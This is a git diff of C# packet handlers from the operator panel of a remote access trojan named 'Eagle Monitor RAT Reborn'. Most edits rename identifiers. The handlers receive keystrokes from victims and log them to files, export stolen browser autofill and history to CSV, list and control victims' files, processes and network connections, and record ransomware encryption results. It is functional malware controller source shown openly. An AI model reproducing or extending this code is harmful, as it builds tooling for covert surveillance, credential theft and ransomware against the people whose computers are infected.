- int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];
row.Cells["Column11"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26));
row.Cells["Column12"].Value = file[0].ToString();
row.Cells["Column13"].Value = "File";
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs
index e5f789f8..bc198c53 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs
@@ -16,19 +16,19 @@ internal ShortCutFileManagersPacketHandler(ShortCutFileManagersPacket shortCutFi
{
try
{
- ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.disksGuna2ComboBox.Text = shortCutFileManagersPacket.path[0].ToString() + shortCutFileManagersPacket.path[1].ToString() + shortCutFileManagersPacket.path[2].ToString();
- ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.labelPath.Text = shortCutFileManagersPacket.path;
+ ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.disksGuna2ComboBox.Text = shortCutFileManagersPacket.path[0].ToString() + shortCutFileManagersPacket.path[1].ToString() + shortCutFileManagersPacket.path[2].ToString();
+ ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.labelPath.Text = shortCutFileManagersPacket.path;
- ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear();
int x = 0;
foreach (var dir in shortCutFileManagersPacket.filesAndDirs[0])
{
- int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];
row.Cells["Column11"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26));
row.Cells["Column12"].Value = dir[0].ToString();
row.Cells["Column13"].Value = "Directory";
@@ -37,14 +37,14 @@ internal ShortCutFileManagersPacketHandler(ShortCutFileManagersPacket shortCutFi
x++;
- ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.Column12, System.ComponentModel.ListSortDirection.Ascending);
+ ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending);
foreach (var file in shortCutFileManagersPacket.filesAndDirs[1])
{
Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]);
- int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId];
row.Cells["Column11"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26));
row.Cells["Column12"].Value = file[0].ToString();
row.Cells["Column13"].Value = "File";
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs
index 8d948146..f75c6521 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs
@@ -12,18 +12,13 @@ namespace Eagle_Monitor_RAT_Reborn.PacketHandler
{
internal class ChatPacketHandler
{
- public ChatPacketHandler(RemoteChatPacket chatPacket): base()//, ClientHandler clientHandler) : base()
+ public ChatPacketHandler(RemoteChatPacket chatPacket): base()
{
- ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);
- ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.AppendText(chatPacket.msg);
+ ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);
+ ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.AppendText(chatPacket.msg);
}));
- /*ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() =>
- {
- ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245);
- ClientHandler.ClientHandlersList[chatPacket.baseIp].clientForm.messageRichTextBox.AppendText(chatPacket.msg);
- }));*/
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs
index 053b2a1b..56fcb622 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs
@@ -16,30 +16,30 @@ public InformationPacketHandler(InformationPacket informationPacket) : base()//,
{
try
{
- ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Clear();
- ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.componentsDataGridView.Rows.Clear();
- ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.systemInformationDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Clear();
string[] cpuFeatures = informationPacket.information.hardwareInformation.cpuInformation["CPU"][0].Split('\n');
- int rowIdName = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Add();
+ int rowIdName = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows[rowIdName];
+ DataGridViewRow row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdName];
row.Cells["Column36"].Value = cpuFeatures[0];
- int rowIdVendor = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Add();
+ int rowIdVendor = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add();
- row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows[rowIdVendor];
+ row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdVendor];
row.Cells["Column36"].Value = cpuFeatures[1];
for (int i = 2; i < cpuFeatures.Length - 1; i++)
{
string[] SplitFeature = cpuFeatures[i].Split(' ');
- int rowId = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows.Add();
+ int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add();
- row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.cpuDataGridView.Rows[rowId];
+ row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowId];
row.Cells["Column36"].Value = SplitFeature[0];
@@ -51,16 +51,16 @@ public InformationPacketHandler(InformationPacket informationPacket) : base()//,
foreach (KeyValuePair hardware in informationPacket.information.hardwareInformation.hardwareInformation)
{
- int rowId = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.componentsDataGridView.Rows.Add();
- row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.componentsDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Add();
+ row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows[rowId];
row.Cells["Column38"].Value = hardware.Key;
row.Cells["Column39"].Value = hardware.Value;
}
foreach (KeyValuePair system in informationPacket.information.systemInformation.systemInformation)
{
- int rowId = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.systemInformationDataGridView.Rows.Add();
- row = ClientHandler.ClientHandlersList[informationPacket.baseIp].clientForm.systemInformationDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Add();
+ row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows[rowId];
row.Cells["Column40"].Value = system.Key;
row.Cells["Column41"].Value = system.Value;
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs
index a10e04d1..a5943845 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs
@@ -14,8 +14,8 @@ internal class KeylogOfflinePacketHandler
{
public KeylogOfflinePacketHandler(KeylogOfflinePacket keylogOfflinePacket, ClientHandler clientHandler)
{
- Directory.CreateDirectory(ClientHandler.ClientHandlersList[keylogOfflinePacket.baseIp].clientPath + "\\Keystrokes\\");
- File.AppendAllText(ClientHandler.ClientHandlersList[keylogOfflinePacket.baseIp].clientPath + "\\Keystrokes\\" + "Offlinekeystrokes.txt", keylogOfflinePacket.keyStroke + "\n--------------------------------------------\nDATE : " + Utils.DateFormater() + "\n--------------------------------------------\n");
+ Directory.CreateDirectory(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + "\\Keystrokes\\");
+ File.AppendAllText(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + "\\Keystrokes\\" + "Offlinekeystrokes.txt", keylogOfflinePacket.keyStroke + "\n--------------------------------------------\nDATE : " + Utils.DateFormater() + "\n--------------------------------------------\n");
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs
index b545d162..cd8b675b 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs
@@ -15,9 +15,9 @@ public KeylogPacketHandler(KeylogPacket keylogPacket) : base()//, ClientHandler
{
try
{
- ClientHandler.ClientHandlersList[keylogPacket.baseIp].clientForm.keystrokeRichTextBox.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[keylogPacket.baseIp].clientForm.keystrokeRichTextBox.AppendText(keylogPacket.keyStroke);
+ ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.AppendText(keylogPacket.keyStroke);
}));
}
catch { }
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs
new file mode 100644
index 00000000..e003184d
--- /dev/null
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs
@@ -0,0 +1,39 @@
+using Eagle_Monitor_RAT_Reborn.Network;
+using PacketLib.Packet;
+using System.Windows.Forms;
+
+/*
+|| AUTHOR Arsium ||
+|| github : https://github.com/arsium ||
+*/
+
+namespace Eagle_Monitor_RAT_Reborn.PacketHandler
+{
+ internal class NetworkInformationPacketHandler
+ {
+ public NetworkInformationPacketHandler(NetworkInformationPacket networkInformationPacket) : base()//, ClientHandler clientHandler) : base()
+ {
+ try
+ {
+ ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.BeginInvoke((MethodInvoker)(() =>
+ {
+ ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Clear();
+ foreach (TCPInformation tcpInformation in networkInformationPacket.tcpInformationList)
+ {
+ int rowId = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows[rowId];
+ row.Cells["Column48"].Value = tcpInformation.PID.ToString();
+ row.Cells["Column49"].Value = tcpInformation.processName;
+ row.Cells["Column50"].Value = tcpInformation.LocalEndPoint;
+ row.Cells["Column51"].Value = tcpInformation.RemoteEndPoint;
+ row.Cells["Column52"].Value = tcpInformation.State.ToString();
+ }
+
+ }));
+ }
+ catch { }
+ return;
+
+ }
+ }
+}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs
index cf8b04c5..d6902cf6 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs
@@ -17,9 +17,9 @@ public ProcessKillerPacketHandler(ProcessKillerPacket packet) : base()//, Client
{
if (packet.killed)
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[packet.baseIp].clientForm.processDataGridView.Rows.Remove(ClientHandler.ClientHandlersList[packet.baseIp].clientForm.processDataGridView.Rows[packet.rowIndex]);
+ ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows.Remove(ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows[packet.rowIndex]);
}));
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs
index f41fbe4b..d0b9c520 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs
@@ -18,14 +18,14 @@ public ProcessManagerPacketHandler(ProcessManagerPacket processManagerPacket) :
{
Bitmap resized = new Bitmap(Properties.Resources.imageres_15.ToBitmap(), new Size((int)(Properties.Resources.imageres_15.ToBitmap().Size.Width / 1.5), (int)(Properties.Resources.imageres_15.ToBitmap().Size.Height / 1.5)));
- ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Clear();
foreach (Proc proc in processManagerPacket.processes)
{
- int rowId = ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.Rows.Add();
+ int rowId = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[processManagerPacket.baseIp].clientForm.processDataGridView.Rows[rowId];
+ DataGridViewRow row = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows[rowId];
if (proc.processIcon != null)
{
row.Cells["Column15"].Value = new Bitmap(PacketLib.Utils.ImageProcessing.BytesToImage(proc.processIcon), resized.Size);
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs
index 243a90ec..7d6bb1c4 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs
@@ -18,9 +18,9 @@ public ResumeProcessPacketHandler(ResumeProcessPacket resumeProcessPacket) : bas
{
if (resumeProcessPacket.resumed)
{
- ClientHandler.ClientHandlersList[resumeProcessPacket.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[resumeProcessPacket.baseIp].clientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White;
+ ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White;
}));
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs
index 87b45073..19ff3db4 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs
@@ -18,9 +18,9 @@ public SuspendProcessPacketHandler(SuspendProcessPacket suspendProcessPacket) :
{
if (suspendProcessPacket.suspended)
{
- ClientHandler.ClientHandlersList[suspendProcessPacket.baseIp].clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[suspendProcessPacket.baseIp].clientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red;
+ ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red;
}));
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs
index 282ab91f..5a9d2718 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs
@@ -12,7 +12,7 @@ internal class RansomareEncryptionConfirmationPacketHandler
{
public RansomareEncryptionConfirmationPacketHandler(RansomwareConfirmationPacket packet) : base()
{
- System.IO.File.WriteAllText(ClientHandler.ClientHandlersList[packet.baseIp].clientPath + "\\Ransomware\\encrypted.json", packet.results);
+ System.IO.File.WriteAllText(ClientHandler.ClientHandlersList[packet.BaseIp].ClientPath + "\\Ransomware\\encrypted.json", packet.results);
}
}
}
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs
index d07aa4d4..024c3cda 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs
@@ -18,15 +18,15 @@ public AutofillPacketHandler(AutofillPacket autofillPacket): base()//, ClientHan
{
try
{
- if (ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView != null)
+ if (ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView != null)
{
- ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Clear();
foreach (object[] str in autofillPacket.autofillList)
{
- int rowId = ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows[rowId];
row.Cells["Column21"].Value = str[0].ToString();
row.Cells["Column22"].Value = str[1].ToString();
row.Cells["Column23"].Value = str[2].ToString();
@@ -34,14 +34,14 @@ public AutofillPacketHandler(AutofillPacket autofillPacket): base()//, ClientHan
row.Cells["Column25"].Value = str[4].ToString();
}
if (Program.settings.autoSaveRecovery)
- Utils.ToCSV(ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientForm.autofillDataGridView, ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv");
+ Utils.ToCSV(ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv");
return;
}));
}
else
- { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); }
+ { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); }
}
- catch { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.baseIp].clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); }
+ catch { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); }
}
else
return;
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs
index 4b582845..4ed2e4de 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs
@@ -90,15 +90,15 @@ public HistoryPacketHandler(HistoryPacket historyPacket) : base()//, ClientHandl
{
try
{
- if (ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView != null)
+ if (ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView != null)
{
- ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() =>
+ ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() =>
{
- ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.Rows.Clear();
+ ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Clear();
foreach (object[] str in historyPacket.historyList)
{
- int rowId = ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.Rows.Add();
- DataGridViewRow row = ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView.Rows[rowId];
+ int rowId = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Add();
+ DataGridViewRow row = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows[rowId];
row.Cells["Column5"].Value = str[0].ToString();
row.Cells["Column6"].Value = str[1].ToString();
row.Cells["Column7"].Value = str[2].ToString();
@@ -106,15 +106,15 @@ public HistoryPacketHandler(HistoryPacket historyPacket) : base()//, ClientHandl
row.Cells["Column9"].Value = str[4].ToString();
}
if (Program.settings.autoSaveRecovery)
- Utils.ToCSV(ClientHandler.ClientHandlersList[historyPacket.baseIp].clientForm.historyDataGridView, ClientHandler.ClientHandlersList[historyPacket.baseIp].clientPath + "\\History\\" + Utils.DateFormater() + ".csv");
+ Utils.ToCSV(ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv");
return;
}));
}
else
- { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.baseIp].clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); }
+ { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); }
}
catch
- { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.baseIp].clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); }
+ { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); }
}
else
return;
